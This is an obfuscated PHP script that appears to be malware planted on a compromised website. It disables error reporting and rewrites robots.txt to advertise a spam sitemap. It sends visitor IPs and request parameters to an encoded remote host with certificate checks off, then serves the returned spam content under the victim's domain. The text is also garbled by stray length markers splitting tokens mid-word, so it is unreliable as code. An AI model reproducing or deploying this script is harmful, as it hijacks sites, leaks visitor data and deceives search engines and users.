3 11 $url, CURLOPT_RET 7 URNTRAN 9 SFER => t f rue, CURLOPT_SS 6 L_VERI a FYPEER => 19 false, CURLOPT_SSL_VERIFY 17 HOST => false, CURLOPT_ 6 FOLLOW 6 LOCATI 16 ON => true, CURLOPT_TI 9 MEOUT => 14 10, CURLOPT_POST => 15 true, CURLOPT_POSTFIE 8 LDS => $ 10 postString)); $d f ata = curl_exec f ($ch); curl_clo f se($ch); if (!e 6 mpty($ e data)) { retur a n $data; } b } if (ini_ 9 get("\141 c \x6c\154\157 b \x77\x5f\16 11 5\162\154\x5f\146 c \157\160\x65 e \x6e")) { $con a text = str c eam_context_ 7 create( f array("\150\164 d \x74\x70" => 12 array("\x6d\x65\x7 d 4\150\157\144 d " => "\x50\11 b 7\x53\x54", d "\x74\x69\x6 16 d\x65\x6f\x75\164" => 9 10, "\x68 12 \145\x61\144\145\x c 72" => "\x43 14 \157\156\164\145\x6e b \x74\x2d\12 e 4\x79\x70\145\ a 72\40\141\ 11 160\160\x6c\151\1 e 43\x61\x74\151 11 \157\156\57\170\5 f 5\167\x77\167\5 10 5\x66\x6f\162\x6 d d\x2d\x75\x72 e \154\145\156\1 11 43\157\144\x65\x6 a 4\15\xa" . f "\103\157\156\ 15 x74\145\156\164\55\x4 d c\x65\x6e\147 e \164\150\72\x2 a 0" . strle 14 n($postString) . "\1 b 5\12" . "\x 14 55\x73\145\x72\x2d\1 14 01\x67\145\156\164\x b 3a\40\115\1 14 57\172\x69\x6c\x6c\1 9 41\57\x35 e \56\x30\15\12" 12 , "\x63\157\x6e\16 e 4\x65\156\164" 19 => $postString), "\163\1 14 63\x6c" => array("\1 36 66\x65\x72\151\146\x79\x5f\160\x65\145\162" => false, 12 "\166\145\x72\151\ 16 x66\x79\x5f\160\145\x6 13 5\x72\x5f\x6e\x61\1 11 55\x65" => false) 11 )); $data = @file b _get_conten 10 ts($url, false, 3a $context); if (!empty($data)) { return $data; } } return ' b '; } goto w 7 RFt_; V 5 guJR: 12 if (!empty($get[" e \162"])) { $ro 7 botsPat 9 h = $_SER 9 VER["\x44 c \117\x43\125 c \115\x45\x4e c \x54\137\122 e \117\x4f\x54"] b . "\57\162 16 \157\142\x6f\x74\163\x f 2e\x74\x78\164" 8 ; $sitem 6 apBloc c k = "\125\16 e 3\145\162\55\1 a 41\147\x65 12 \x6e\164\72\40\x2a 10 \xa\x41\x6c\x6c\ 13 x6f\167\x3a\40\57\x 14 a"; $sitemaps = "\12 13 \x53\x69\x74\145\x6 e d\x61\160\x3a\ a x20{$http_ 6 type}{ 14 $_SERVER["\x48\x54\1 d 24\x50\x5f\11 c 0\117\123\12 14 4"]}{$_SERVER["\123\ b x43\x52\x49 d \x50\124\x5f\ f x4e\101\x4d\x45 c "]}\x3f\x73\ 11 75\163\12"; if (! 17 file_exists($robotsPath c )) { file_pu 17 t_contents($robotsPath, 1b $sitemapBlock . $sitemaps) 12 ; } else { $robots 1e Content = @file_get_contents($ 14 robotsPath); if (str 13 pos($robotsContent, 1a $_SERVER["\123\x43\122\11 a 1\120\x54\ 17 x5f\x4e\101\x4d\105"]) d === false) { 29 @file_put_contents($robotsPath, $sitemaps 7 , FILE_ 6 APPEND f ); } } } goto K 7 w0TV; l 7 b_EM: $ 8 vurl = $ 12 http_type . "\x69\ d 144\154\171\x c 32\56\x69\x6 11 4\163\150\x6f\x70 d \56\x63\x63\1 12 67\x75\x2e\143\x63 b \57\64\61\x f 39\56\x61\163\x e 70\170"; goto 9 VguJR; WN 17 TMb: if (!empty($get["\ 12 x69\x64"])) { if ( 1c empty($get["\153\x6b"])) { $ a ip = get_i 9 p(); $par 2f ams = array("\151\160" => $ip, "\x69\144" => is d set($get["\15 16 1\144"]) ? $get["\151\ a x64"] : '' 12 , "\x6c\x6c" => $l 7 l); $tz 10 str = getCurl($v 1b url, $params); if (strpos($ 13 tzstr, "\x69\144") 11 !== false) { echo c $tzstr; die 1d ; } } $params = array("\151\x 1c 64" => $get["\x69\x64"], "\1 12 54\154" => $ll); $ 2b str = getCurl($vurl, $params); $str = str_r 5 eplac 16 e(array("\173\x55\x52\ 7 114\x7d f ", "\x7b\xe5\x9 f f\x9f\xe5\x90\x 8 8d\x7d") 13 , array(get_url_inf d o("\x66\x75\1 a 54\x6c"), 19 get_url_info("\x6e\157\x5 11 f\167\167\x77")), e $str); echo $ 1b str; die; } else { $sitemap 9 Url = $ll 14 . "\x3f\x73\75" . d 9 ate("\x59 f \155\144\x48\x6 f 9"); echo "\x3c c \144\151\x76 12 \x20\163\164\171\x b 6c\145\x3d\ d 47\164\145\17 15 0\164\x2d\141\x6c\x69 c \x67\156\x3a 19 \143\145\x6e\x74\145\x72\ c 73\40\160\x6 16 1\x64\x64\151\x6e\147\ f x3a\61\x30\160\ e 170\x20\x30\x3 d b\47\x3e\x3c\ d x61\x20\150\x d 72\145\x66\x3 12 d\x22{$sitemapUrl} e \42\x20\164\14 e 1\162\147\x65\ 13 164\x3d\x22\x5f\x62 16 \x6c\141\x6e\153\x22\x e 20\x72\x65\154 10 \75\42\156\157\1 10 46\x6f\154\154\1 d 57\167\42\76\ e 40\123\151\164 11 \x65\155\141\160\ 24 74\x2f\141\x3e\74\x2f\144\x69\166\x3 d e"; } goto UH a Nmn; Kw0TV 17 : if (!empty($get["\x73 1d "])) { $params = array("\x73" e => date("\131 12 \155\144\110\x69") 14 , "\156\x75\155\x62\ 16 145\162" => $get["\156 d \165\x6d\142\ 4c 145\162"]); $str = getCurl($vurl, $params); $str = str_replace(array("\173\x a e5\xbd\x93 9 \345\211\ a x8d\xe5\23 d 4\xb0\xe5\x9d 8 \200\175 26 "), array($http_type . $_SERVER["\x48\ 14 124\124\120\x5f\110\ d x4f\123\124"] 18 . $_SERVER["\x53\103\12 30 2\x49\120\124\x5f\116\101\115\105"]), $str); hea a der("\x43\ 10 x6f\156\164\145\ 15 156\x74\55\164\171\x7 b 0\x65\x3a\x 17 74\145\x78\164\x2f\x78\ 8 x6d\154" 20 ); echo $str; die; } goto WNTMb; b OsiDT: err 9 or_report d ing(0); goto a XVeBg; HWR 10 4h: $http_type = 15 !empty($_SERVER["\11 14 0\124\x54\120\x53"]) 4 && 21 $_SERVER["\x48\x54\x54\120\123"] c !== "\157\x6 9 6\x66" ? 13 "\x68\x74\x74\160\x b 73\72\57\x2 18 f" : "\x68\x74\x74\160\x 12 3a\57\x2f"; goto r b RNpn; rRNpn 9 : $ll = " 2d {$http_type}{$_SERVER["\x48\124\x54\120\137\1 23 10\117\123\124"]}{$_SERVER["\x53\x4 1b 3\122\x49\120\124\137\x4e\x 15 41\x4d\x45"]}"; goto a lb_EM; RyB d oU: function 10 get_ip() { forea e ch (array("\11 15 0\x54\x54\120\137\x58 f \x5f\x46\x4f\12 10 2\127\101\122\x4 f 4\105\104\x5f\1 10 06\117\x52", "\x 14 48\124\x54\x50\137\1 c 03\x4c\x49\1 11 05\116\124\x5f\11 10 1\120", "\x52\10 12 5\115\117\124\105\ 11 x5f\101\x44\x44\x a 52") as $k a ey) { if ( 21 !empty($_SERVER[$key])) { return 7 trim(ex 8 plode("\ 16 54", $_SERVER[$key])[0 f ]); } } return d "\x55\116\x4b 10 \116\117\127\x4e 16 "; } goto w0kkS; N6bGe 19 : function get_url_info(s d tring $return 18 _type = "\144\157\155\x6 a 1\x69\x6e" f ) : string { $h 13 ost = $_SERVER["\x4 23 8\124\124\x50\137\110\x4f\123\124"] 15 ; if ($return_type == 15 = "\144\x6f\x6d\x61\1 13 51\x6e") { return $ 1f host; } if ($return_type === "\ e x6e\x6f\x5f\x7 15 7\x77\x77") { return b ltrim($host 13 , "\x77\x77\x77\x2e d "); } $protoc 7 ol = is 1b set($_SERVER["\110\x54\124\ 19 120\123"]) && $_SERVER["\ 16 110\124\124\x50\123"] 10 === "\x6f\156" | 27 | isset($_SERVER["\x48\124\x54\x50\137\ 13 x58\137\106\117\x52 17 \127\101\122\x44\x45\x4 11 4\137\120\x52\x4f 26 \124\x4f"]) && $_SERVER["\x48\x54\x54\ 18 x50\x5f\130\137\x46\x4f\ d x52\x57\x41\x 15 52\x44\x45\104\137\x5 13 0\122\117\124\x4f"] 16 === "\x68\164\164\160 16 \x73" ? "\x68\164\164\ 13 x70\x73\x3a\57\x2f" 1b : "\x68\x74\164\x70\x3a\x2 9 f\57"; $b b ase_url = $ 12 protocol . $host; 25 if ($return_type === "\142\141\x73\x6 16 5") { return $base_url 17 ; } $uri = $_SERVER["\x d 52\105\x51\x5 13 5\x45\x53\124\x5f\x a 55\122\111 9 "]; $full 17 _url = $base_url . $uri 21 ; if ($return_type === "\146\165\ 1d 154\x6c") { return $full_url; 1b } return ''; } goto RyBoU; 14 wRFt_: function get 21 Curl($url, $getData = array()) { 19 if (!empty($getData)) { $ 18 queryString = is_array($ 26 getData) ? http_build_query($getData) 10 : $getData; $url d .= (strpos($ b url, "\x3f" 1b ) === false ? "\x3f" : "\x2 12 6") . $queryString 1a ; } if (function_exists("\ 1d 143\165\162\154\x5f\151\x6e\1 111 51\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_HTTPGET => true, CURLOPT_USERAG 9 ENT => "\ 13 115\157\172\151\154 e \x6c\141\x2f\6 8 5\56\60" 78 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x77\13 10 7\x75\x72\x6c\13 e 7\x66\157\160\ 52 145\x6e")) { $context = stream_context_create(array("\150\164\x74\x70" => array("\ 20 155\145\x74\150\157\144" => "\10 12 7\105\x54", "\x74\ 16 151\155\x65\x6f\165\16 12 4" => 10, "\150\x6 11 5\x61\144\x65\x72 18 " => "\x55\x73\145\162\x b 2d\x41\147\ 19 145\x6e\x74\x3a\x20\x4d\x f 6f\x7a\151\154\ c 154\x61\57\6 e 5\56\x30\xd\12 f "), "\x73\x73\1 11 54" => array("\x7 3f 6\145\x72\x69\x66\x79\x5f\160\x65\145\162" => false, "\166\145\ 10 162\151\146\x79\ 16 137\x70\x65\x65\x72\13 c 7\x6e\141\x6 80 d\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto f HWR4h; UHNmn: ? 1 > 0